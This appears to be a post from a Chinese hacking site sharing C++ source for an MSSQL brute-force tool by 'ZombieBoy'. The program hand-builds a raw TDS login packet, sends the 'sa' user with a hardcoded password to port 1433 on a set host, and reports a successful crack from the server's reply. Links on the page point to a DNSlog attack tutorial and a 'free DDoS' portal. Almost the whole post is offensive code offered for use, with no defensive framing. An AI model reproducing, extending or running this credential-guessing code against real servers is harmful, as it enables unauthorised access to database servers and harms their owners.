Mssql爆破工具源码

Windows C++版

// MssqlCrake.cpp : 定义控制台应用程序的入口点。
//

#include "stdafx.h"
#include 
#include 

#pragma comment(lib,"ws2_32.lib")

//定义socket客户端.
SOCKET m_client = INVALID_SOCKET;

#define MSSQLPORT 1433

#define MSLEN 30

//////////////////////////////////////////////////////////////////////////
char name[] = "sa";
char pass[] = "123123123";
/////////////////////////////函数声明/////////////////////////////////////
bool Init_Socket(char* rhost, int rport);
int Send_Payload(SOCKET s, char* user_name, char* pass_word);
//////////////////////////////////////////////////////////////////////////

unsigned char p_hdr[] =
"\x02\x00\x02\x00\x00\x00\x02\x00\x00\x00" "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" "\x00\x00\x00\x00\x00\x00\x00\x00\x00";

unsigned char p_pk2[] =
"\x30\x30\x30\x30\x30\x30\x61\x30\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x20\x18\x81\xb8\x2c\x08\x03"
"\x01\x06\x0a\x09\x01\x01\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x73\x71\x75\x65\x6c\x64\x61"
"\x20\x31\x2e\x30\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x0b\x00\x00\x00\x00\x00\x00\x00\x00\x00" "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" "\x00";
unsigned char p_pk3[] =
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x04\x02\x00\x00\x4d\x53\x44"
"\x42\x4c\x49\x42\x00\x00\x00\x07\x06\x00\x00" "\x00\x00\x0d\x11\x00\x00\x00\x00\x00\x00\x00" "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" "\x00\x00\x00\x00\x00\x00";
unsigned char p_lng[] =
"\x02\x01\x00\x47\x00\x00\x02\x00\x00\x00\x00"
"\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" "\x00\x00\x00\x00\x00\x00\x30\x30\x30\x00\x00" "\x00\x03\x00\x00\x00";

/*****************************************************************************
* @函 数 名 : main主函数
* @函数简介 : 
* @方法作者 : ZombieBoy
* @创建日期 : 2018/1/18 15:05
* @方法参数 :
* @返 回 值 :
*****************************************************************************/
int _tmain(int argc, _TCHAR* argv[])
{
	if (Init_Socket("192.168.1.206",MSSQLPORT))
	{
		int r_val = Send_Payload(m_client, name, pass);
		if (0 == r_val){ printf("[*]爆破成功  用户名为:%s  密码为:%s.\n", name, pass); }
		else{ printf("[-]爆破失败.\n"); }
		if (INVALID_SOCKET != m_client) { closesocket(m_client); }
		WSACleanup();
	}
	return 0;
}


/*****************************************************************************
* @函 数 名 : Init_Socket
* @函数简介 : 初始化客户端socket并连接
* @方法作者 : ZombieBoy
* @创建日期 : 2018/1/18 15:02
* @方法参数 : 远程ip地址 && 端口
* @返 回 值 : 成功返回真,失败返回假
*****************************************************************************/
bool Init_Socket(char* rhost, int rport)
{
	WSAData rdata = { 0 };
	if (WSAStartup(MAKEWORD(2, 2), &rdata)) return false;

	do 
	{
		m_client = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
		if (INVALID_SOCKET==m_client) break;

		sockaddr_in raddr = { 0 };
		raddr.sin_family = AF_INET;
		raddr.sin_port = htons(rport);
		raddr.sin_addr.S_un.S_addr = inet_addr(rhost);

		if (SOCKET_ERROR == connect(m_client, (sockaddr*)&raddr, sizeof(sockaddr_in))) break;
		return true;

	} while (false);

	if (m_client != INVALID_SOCKET){ closesocket(m_client); }
	WSACleanup();
	return false;
}

/*****************************************************************************
* @函 数 名 : Send_Payload
* @函数简介 : 构造并发送登陆payload
* @方法作者 : ZombieBoy
* @创建日期 : 2018/1/18 15:00
* @方法参数 : 客户端socket,用户名,密码
* @返 回 值 : 成功返回0,失败返回-1
*****************************************************************************/

int Send_Payload(SOCKET s, char* user_name, char* pass_word)
{
	unsigned char len_user = strlen(user_name);
	unsigned char len_pass = strlen(pass_word);

	if (len_user <= 0) return -1;
	if (len_user <= 0) return -1; if (len_user > MSLEN){ user_name[MSLEN - 1] = 0; }
	if (len_user > MSLEN){ pass_word[MSLEN - 1] = 0; }

	char ms_user[MSLEN + 1] = { 0 };
	char ms_pass[MSLEN + 1] = { 0 };
	memcpy(ms_user, user_name, len_user);
	memcpy(ms_pass, pass_word, len_pass);

	char buffer[1024] = { 0 };
	memcpy(buffer, p_hdr, 39);
	memcpy(buffer + 39, ms_user, MSLEN);
	memcpy(buffer + MSLEN + 39, &len_user, 1);
	memcpy(buffer + MSLEN + 1 + 39, ms_pass, MSLEN);
	memcpy(buffer + MSLEN + 1 + 39 + MSLEN, &len_pass, 1);
	memcpy(buffer + MSLEN + 1 + 39 + MSLEN + 1, p_pk2, 110);
	memcpy(buffer + MSLEN + 1 + 39 + MSLEN + 1 + 110, &len_pass, 1);
	memcpy(buffer + MSLEN + 1 + 39 + MSLEN + 1 + 110 + 1, ms_pass, MSLEN);
	memcpy(buffer + MSLEN + 1 + 39 + MSLEN + 1 + 110 + 1 + MSLEN, p_pk3, 270);

	int s_val = send(s, buffer, MSLEN + 1 + 39 + MSLEN + 1 + 110 + 1 + MSLEN + 270, 0);
	if (s_val <= 0) return -1;
	s_val = send(s, (char*)p_lng, 71, 0);
	if (s_val <= 0) return -1;

	memset(buffer, 0, 1024);
	int r_val = recv(s, buffer, 1024, 0);
	if (r_val <= 0) return -1; if ((r_val > 10 && buffer[8] == '\xe3')) return 0;
	return -1;
}

作者:ZombieBoy

给TA打赏
共{{data.count}}人
人已打赏
黑客技术

DNSlog攻击技巧

2018-5-26 0:17:18

黑客技术

免费DDOS网页端地址

2018-5-26 0:17:20

    暂无讨论,说说你的看法吧
个人中心
购物车
优惠劵
今日签到
有新私信 私信列表
搜索